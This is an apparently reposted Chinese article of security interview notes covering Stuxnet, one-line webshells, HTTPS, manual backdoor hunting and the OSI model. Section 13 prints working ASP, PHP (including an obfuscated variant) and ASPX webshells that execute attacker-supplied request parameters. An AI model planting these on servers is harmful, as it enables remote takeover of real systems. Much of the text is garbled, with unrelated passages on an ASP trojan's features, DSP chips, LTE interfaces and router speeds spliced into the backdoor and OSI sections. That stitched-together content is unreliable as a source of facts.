网络安全、Web安全、渗透测试之笔经面经总结（三）(2)

12.震网病毒：

指一种蠕虫病毒，是第一个专门定向攻击真实世界中基础（能源）设施的“蠕虫”病毒，比如核电站，水坝，国家电网。只要电脑操作员将被病毒感染的U盘插入USB接口，这种病毒就会在神不知鬼不觉的情况下(不会有任何其他操作要求或者提示出现)取得一些工业用电脑系统的控制权。

与传统的电脑病毒相比，“震网”病毒不会通过窃取个人隐私信息牟利。无需借助网络连接进行传播。这种病毒可以破坏世界各国的化工、发电和电力传输企业所使用的核心生产控制电脑软件，并且代替其对工厂其他电脑“发号施令”。极具毒性和破坏力。“震网”代码非常精密，主要有两个功能，一是使伊朗的离心机运行失控，二是掩盖发生故障的情况，“谎报军情”，以“正常运转”记录回传给管理部门，造成决策的误判。

13.一句话木马

asp一句话木马：

<%execute(request("value"))%>

php一句话木马：

<?php @eval($_POST[value]);?>

变形：<?php $x=$_GET[‘z’];@eval(“$x;”);?>

aspx一句话木马：

<%@ Page Language="Jscript"%>

<%eval(Request.Item["value"])%>

14.Https的作用

内容加密 建立一个信息安全通道，来保证数据传输的安全；

身份认证 确认网站的真实性

数据完整性 防止内容被第三方冒充或者篡改

HTTPS和HTTP的区别

https协议需要到CA申请证书。

http是超文本传输协议，信息是明文传输；https 则是具有安全性的ssl加密传输协议。

http和https使用的是完全不同的连接方式，用的端口也不一样，前者是80，后者是443。

http的连接很简单，是无状态的；HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议，比http协议安全。

15.手工查找后门木马的小技巧

1、首先最需要注意的地方是系统的启动项，可以在“运行”-输入“msconfig命令”在打开的系统配置实用程序里的启动列表查看，并且服务也要注意一下，如果对电脑不是太熟悉的童鞋建议使用360安全卫士的开机加速功能，来查看有无异常的可以启动项和服务项，因为在后门木马中99%都会注册自己为系统服务，达到开机自启动的目的，如果发现可疑项直接打开相应的路径，找到程序文件，直接删除并且禁止自启动；

下面介绍一下此款asp木马的特点：服务器信息探针 1.服务器基本信息 这款asp木马有web服务器的一些基本信息2.服务器组件信息 asp木马一些常用的asp组件的支持情况检测3.application/session查看 asp木马所有系统变量及其值的查看, 当前浏览器进程和服务器的会话及内容的查看 操作器(access, sql server) 1.基本功能: asp木马基本表结构查看, 数据表记录操作(查看,添加,修改,删除), 多条件记录查询2.扩展功能 asp木马执行自定义查询, 用来执行所有自定义sql语句, 如果是select查询还可以返回记录 文件夹打包/解开器 1.文件夹打包 asp木马指定要打包的文件夹, 按"开始打包"后生成packet.mdb(位于要打包的文件夹目录)2.文件包解开 asp木马指定文件包相对路径, 按"开始解包", 解开目录为文件包(packet.mdb)所在目录 批量文件上传 进入页面后, 指定好要上传的目标目录, 如果要上传多个, 请先设定上传文件数量,然后选择要上传的文件, 选择完毕后开始上传, 如果要上传的文件可能已经存在,可以选择"覆盖模式"进行覆盖上传 文本文件搜索器 指定搜索目录, 填写好搜索关键字, 指定搜索条件(文件名,文本内容,或者两者)后按提交即可 http网页代理 通过另一台服务器来访问你所要访问的网页, 并把结果返回给你。4、 进入镜像文件存储目录，默认存储目录是ghost文件所在的目录，在file name生”这个木马，所以我们有理由相信diagcfg.exe就是木马留在系统中的后门程序。

3、观察网络连接是否存在异常，还有“运行”-“cmd”-“netstat -an”查看有没有可疑或非正常程序的网络连接，如果对电脑不是很熟悉建议大家使用360的流量监控功能更加直观和方便，尤其注意一下远程连接的端口，如果有类似于8000等端口就要注意了，8000是灰鸽子的默认端口，记得有一次自己就在后门木马测试中在网络连接中发现8000端口，当然意思不是说只要没有8000端口的网络连接就一定安全反复出现您当前的网络存在链路层劫持，因为8000端口只是灰鸽子上线的默认端口，并且端口是可以更改的。

通过以上方法，可以查找到电脑的一些可疑文件，如果确认无疑，就可以手工进行删除了。当然还可以借助杀毒软件的力量。如果你真的中了木马后门，不用慌。最好最彻底的方法是重装系统后，在安全模式下，利用最新病毒库的杀软进行查杀。

16.描述OSI（开放系统互联基本参考模型）七层结构

分层的好处是利用层次结构可以把开放系统的信息交换问题分解到一系列容易控制的软硬件模块－层中，而各层可以根据需要独立进行修改或扩充功能，同时，有利于个不同制造厂家的设备互连，也有利于大家学习、理解数据通讯网络。

OSI参考模型中不同层完成不同的功能，各层相互配合通过标准的接口进行通信。

第7层应用层：OSI中的最高层。为特定类型的网络应用提供了访问OSI环境的手段。应用层确定进程之间通信的性质，以满足用户的需要。应用层不仅要提供应用进程所需要的信息交换和远程操作，而且还要作为应用进程的用户代理，来完成一些为进行信息交换所必需的功能。它包括：文件传送访问和管理FTAM、虚拟终端VT、事务处理TP、远程访问RDA、制造报文规范MMS、目录服务DS等协议；应用层能与应用程序界面沟通，以达到展示给用户的目的。 在此常见的协议有:HTTP，HTTPS，FTP，TELNET，SSH，SMTP，POP3等。

在不同的多址模式中， dsp 芯片可负责实现不同的功能： 在时分多址（tdma） 模式手机中， dsp 芯片负责实现数据流的调制解调， 利用编解码实现传输误码纠正并维持通信链路的稳定性， 对数据进行加密、 解密以保证通信的安全性， 对话音数据进行压缩和解压缩。主要是通过三种加密方式来实现：1.系统中加密，在系统中无法辨认文件中的数据关系，将数据先在内存中进行加密，然后文件系统把每次加密后的内存数据写入到文件中去，读入时再逆方面进行解密，2.dbms内核层(服务器端)加密：在dbms内核层实现加密需要对管理系统本身进行操作。鉴于目前内部局域网的现状，可以针对数据存储层和数据传输层进行加密，结合文档和数据生命周期，对内部网络分为终端、端口、磁盘、服务器、局域网四大区域，并针对、移动存储设备、笔记本电脑等特例，统一架构，分别防护，实现分域安全。

第5层会话层：在两个节点之间建立端连接。为端系统的应用程序之间提供了对话控制机制。此服务包括建立连接是以全双工还是以半双工的方式进行设置，尽管可以在层4中处理双工方式 ；会话层管理登入和注销过程。它具体管理两个用户和进程之间的对话。如果在某一时刻只允许一个用户执行一项特定的操作，会话层协议就会管理这些操作，如阻止两个用户同时更新中的同一组数据。

第4层传输层：—常规数据递送－面向连接或无连接。为会话层用户提供一个端到端的可靠、透明和优化的数据传输服务机制。包括全双工或半双工、流控制和错误恢复服务；传输层把消息分成若干个分组，并在接收端对它们进行重组。不同的分组可以通过不同的连接传送到主机。这样既能获得较高的带宽，又不影响会话层。在建立连接时传输层可以请求服务质量，该服务质量指定可接受的误码率、延迟量、安全性等参数，还可以实现基于端到端的流量控制功能。

省内ason传送网覆盖各省内的二干节点，为省内主要城市间提供传输电路，连接各本地ason网络。这样设想一下，如果bp网络中层与层之间的节点连接不再是全连接，而是局部连接的。接口名称连接网元接口功能描述主要协议s1-mmeenodeb - mme用于传送会话管理(sm)和移动性管理(mm)信息，即信令面或控制面信息s1-aps1-uenodeb - sgw在gw与enodeb设备间建立隧道，传送用户数据业务，即用户面数据gtp-ux2-cenodeb - enodeb基站间控制面信息x2-apx2-uenodeb - enodeb基站间用户面信息gtp-us3sgsn - mme在mme和sgsn设备间建立隧道，传送控制面信息gtpv2-cs4sgsn – sgw在s-gw和sgsn设备间建立隧道，传送用户面数据和控制面信息gtpv2-cgtp-us5sgw – pgw在gw设备间建立隧道，传送用户面数据和控制面信息（设备内部接口）gtpv2-cgtp-us6amme – hss完成用户位置信息的交换和用户签约信息的管理，传送控制面信息diameters8sgw – pgw漫游时，归属网络pgw和拜访网络sgw之间的接口，传送控制面和用户面数据gtpv2-cgtp-us9pcrf-pcrf控制面接口，传送qos规则和计费相关的信息diameters10mme - mme在mme设备间建立隧道，传送信令，组成mme pool，传送控制面数据gtpv2-cs11mme – sgw在mme和gw设备间建立隧道，传送控制面数据gtpv2-cs12rnc –sgw传送用户面数据，类似gn/gp sgsn控制下的utran与ggsn之间的iu-u/gn-u接口。

第2层数据链路层：在此层将数据分帧，并处理流控制。屏蔽物理层，为网络层提供一个数据链路的连接，在一条有可能出差错的物理连接上，进行几乎无差错的数据传输（差错控制）。本层指定拓扑结构并提供硬件寻址。常用设备有网卡、网桥、交换机；

第1层物理层：处于OSI参考模型的最底层。物理层的主要功能是利用物理传输介质为数据链路层提供物理连接，以便透明的传送比特流。常用设备有（各种物理设备）集线器、中继器、调制解调器、网线、双绞线、同轴电缆。

数据发送时，从第七层传到第一层，接收数据则相反。

上三层总称应用层，用来控制软件方面。下四层总称数据流层，用来管理硬件。除了物理层之外其他层都是用软件实现的。

数据在发至数据流层的时候将被拆分。

在传输层的数据叫段，网络层叫包，数据链路层叫帧，物理层叫比特流，这样的叫法叫PDU（协议数据单元）[2]

各层功能

(1)物理层(Physical Layer)

物理层是OSI参考模型的最低层，它利用传输介质为数据链路层提供物理连接。它主要关心的是通过物理链路从一个节点向另一个节点传送比特流，物理链路可能是铜线、卫星、微波或其他的通讯媒介。它关心的问题有：多少伏电压代表1？多少伏电压代表0？时钟速率是多少？采用全双工还是半双工传输？总的来说物理层关心的是链路的机械、电气、功能和规程特性。

(2)数据链路层(Data Link Layer)

数据链路层是为网络层提供服务的，解决两个相邻结点之间的通信问题，传送的协议数据单元称为数据帧。

数据帧中包含物理地址（又称MAC地址）、控制码、数据及校验码等信息。该层的主要作用是通过校验、确认和反馈重发等手段，将不可靠的物理链路转换成对网络层来说无差错的数据链路。

看来并不是线程间的通信阻碍了数据的接收速度，而是用线程模型导致了对于发送端数据发送速率过快的情况下的数据接收延迟。这里拿300 mbps的无线路由器速率来说一下路由器的传输速度，300 mbps无线路由器指的是传输和接收最大能通过的速率，一般我们看到的只是传输的速度，也就是只能看到一半的速度，也就是150 mbps，这个是理论速率，但是我们在实际使用过程中由于环境的干扰，会有衰减。包括数据发送和数据接收，数据发送是将pcm中指定时隙内的信号接收下来，并按用户指定的速率从数据端口送出。

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/tongxinshuyu/article-117158-2.html